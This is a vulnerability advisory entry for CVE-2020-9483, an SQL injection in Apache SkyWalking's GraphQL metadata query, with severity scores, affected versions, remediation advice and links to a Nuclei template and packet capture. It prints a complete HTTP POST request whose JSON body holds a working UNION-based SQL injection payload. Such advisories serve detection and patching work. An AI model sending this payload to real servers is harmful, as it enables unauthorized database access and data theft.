| Title | SkyWalking SQLI |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93816 |
| CVE ID | CVE-2020-9483 |
| CWE ID | CWE-89 |
| Tags | cve cve2020 sqli skywalking apache vuln |
When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don’t use the appropriate way to set SQL parameters.
POST /graphql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Content-Length: 257
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9483.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9483.pcap
N/AN/A